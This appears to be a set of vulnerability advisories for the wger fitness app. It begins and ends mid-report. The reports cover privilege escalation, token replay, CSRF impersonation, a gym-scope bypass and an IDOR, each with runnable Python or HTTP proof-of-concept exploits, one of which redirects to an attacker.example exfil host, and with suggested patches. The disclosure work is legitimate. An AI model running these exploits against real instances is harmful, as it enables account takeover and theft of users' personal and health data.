WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

• A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
• Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
    Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
    username=MANAGER_USER,
    defaults={"is_active": True}
)
if created:
    manager.set_password(MANAGER_PASS)
    manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f"    Groups: {[g.name for g in manager.groups.all()]}")
print(f"    is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
    username=TRAINER_USER,
    defaults={"is_active": True}
)
if created:
    trainer.set_password(TRAINER_PASS)
    trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f"    Groups: {[g.name for g in trainer.groups.all()]}")


# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"


# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f"  ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n  GET /en/user/{manager.id}/deactivate")
print(f"  (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f"  Response: HTTP {resp.status_code}")


# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n  Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+
""")
    manager.is_active = True
    manager.save()
    print("  [+] Cleanup: Manager re-activated")
else:
    print("\n  Manager is still active - NOT vulnerable")

Proof of Concept Output

=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
    Groups: ['gym_manager']
    is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
    Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
  ATTACK: Trainer deactivating gym manager account
=================================================================

  Trainer login: HTTP 200
  GET http://localhost/en/user/4/deactivate
  (Logged in as: evil_trainer_poc - gym_trainer only)
  Response: HTTP 200

=================================================================
  VERIFICATION
=================================================================

  Manager is_active AFTER attack: False

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+

  [+] Cleanup: Manager re-activated

Impact

1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a general_gym_manager (superadmin) or a Django superuser manually re-activates their accounts.
3. Abuse Chain: Since get_permission_list() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

# File: wger/core/views/user.py, inside dispatch() of both views

edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
    request.user.has_perm('gym.manage_gym')
    or request.user.has_perm('gym.manage_gyms')
):
    if (
        edit_user.has_perm('gym.manage_gym')
        or edit_user.has_perm('gym.manage_gyms')
        or edit_user.has_perm('gym.gym_trainer')
    ):
        return HttpResponseForbidden()

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

• Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
• Password change updates the password hash, but does not revoke:
  • existing DRF tokens stored in authtoken_token
  • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

• wger/wger/core/views/user.py (logout implementation)
• wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
• wger/settings/main.py (commonly used production defaults for JWT lifetimes)
• wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account.
2. Obtain a JWT refresh token:
   • POST /api/v2/token with username/password.
3. Obtain a DRF token (API key):
   • use /user/api-key (or create token via admin/DB in a test environment).
4. Change password:
   • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
5. Prove token replay:
   • Call a private endpoint using the old DRF token (should still return 200).
   • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.

• Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
• Integrity: attacker can perform any API mutations permitted to the victim’s account.

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

• GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
• GET /en/gym/documents/list/user/<member_pk> -> documents list view
• GET /en/gym/contract/list/<member_pk> -> contracts list view
• GET /en/gym/user/<member_pk>/config -> user config view
• GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)

RBAC Disproof Protocol:

• Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
• Scenario B (trainer1, gym=None -> alice gym=None) -> HTTP 200 with PII in body (expected HTTP 403)
• Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:

1. Enumerate and read all private admin notes for every other gym=None user (notes may contain salary data, medical notes, disciplinary records).
2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
3. Read all gym contracts (financial terms, subscription details).
4. Read user configuration details.
5. Via the permissions endpoint, potentially modify victim permissions (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:

# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED — trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' — full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

Impact

Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.

How to fix

The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.

Vulnerable code (user.py:169–178):

if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Suggested fix:

trainer_identity_pk = request.session.get('trainer.identity')

if not request.user.has_perm('gym.gym_trainer'):
    if not trainer_identity_pk:
        return HttpResponseForbidden()
    # Verify the original trainer in the session still holds the permission
    original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
    if not original_trainer.has_perm('gym.gym_trainer'):
        return HttpResponseForbidden()

# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Summary

Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.

The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).

An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.

Description

wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.

The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.

Root Cause

File: wger/manager/api/permissions.py, lines 30–41

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    if obj.is_template:                                  # ← any template is readable
        return request.method in permissions.SAFE_METHODS  # by any authenticated user

    return False

File: wger/manager/api/views.py, lines 173–199

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    out = LogDisplaySerializer(
        self.get_object().logs_display(),   # ← returns OWNER's logs, not request.user's
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    out = LogStatsDataSerializer(
        self.get_object().calculate_log_statistics()  # ← owner's statistics
    ).data
    return Response(out)

self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.

The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.

Impact

An authenticated attacker can:

1. Enumerate all public template routines across all users: GET /api/v2/routine/?is_template=true&is_public=true

2. Read private workout session notes (freeform text entered by the victim after each workout session)

3. Read full workout history including exercise names, weights, repetitions, and dates

4. Read training statistics including volume, intensity, and set counts per muscle group and mesocycle

This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.

Proof of Concept

Scenario

There are two users in the system:

• alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.

• bob : a second registered user who has never interacted with alice's account.

The attack:

Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.

Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.

Step-by-step

1. Bob registers a free account on the wger instance and obtains a JWT access token via POST /api/v2/token.

2. Bob calls GET /api/v2/routine/?is_template=true&is_public=true this lists all public template routines from all users across the platform, including their IDs.

3. For each routine ID returned, Bob calls GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.

4. Bob calls GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.

No special permissions are needed. A fresh account (1-minute-old) can exploit this.

Python PoC

#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target:   GET /api/v2/routine/{id}/logs/
          GET /api/v2/routine/{id}/stats/
"""

import requests
import json

BASE_URL = "http://TARGET_IP"  # replace with target


def get_token(username, password):
    r = requests.post(
        f"{BASE_URL}/api/v2/token",
        json={"username": username, "password": password},
    )
    r.raise_for_status()
    return r.json()["access"]


def exploit(attacker_token):
    headers = {"Authorization": f"Bearer {attacker_token}"}

    # Step 1: Enumerate all public template routines (from ALL users)
    print("[*] Step 1: Enumerating public template routines...")
    r = requests.get(
        f"{BASE_URL}/api/v2/routine/",
        params={"is_template": "true", "is_public": "true"},
        headers=headers,
    )
    routines = r.json().get("results", [])
    print(f"[+] Found {len(routines)} public template routine(s)\n")

    for routine in routines:
        routine_id = routine["id"]
        routine_name = routine["name"]
        print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")

        # Step 2: Fetch the OWNER's workout session logs (IDOR)
        logs_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
            headers=headers,
        )

        if logs_r.status_code == 200:
            sessions = logs_r.json()
            print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
            for session in sessions:
                s = session.get("session", {})
                print(f"    Date:       {s.get('date')}")
                print(f"    Notes:      {s.get('notes')}")   # ← private user notes
                print(f"    Impression: {s.get('impression')}")
                print(f"    Logs:       {len(session.get('logs', []))} exercise entries")
                print()

        # Step 3: Fetch the OWNER's training statistics (IDOR)
        stats_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
            headers=headers,
        )

        if stats_r.status_code == 200:
            stats = stats_r.json()
            print(f"[+] Training statistics for routine #{routine_id}:")
            volume = stats.get("volume", {}).get("mesocycle", {})
            print(f"    Total volume:      {volume.get('total')} kg")
            print(f"    Upper body volume: {volume.get('upper_body')} kg")
            print(f"    Lower body volume: {volume.get('lower_body')} kg")
            print()

        print("-" * 60)


if __name__ == "__main__":
    # Attacker uses their OWN credentials (no privilege needed)
    print("[*] Authenticating as attacker (bob)...")
    token = get_token("bob", "bobpassword")
    print(f"[+] Token acquired\n")

    exploit(token)

Expected output

[*] Authenticating as attacker (bob)...
[+] Token acquired

[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)

[*] Targeting routine #1: 'Admin Secret Routine'
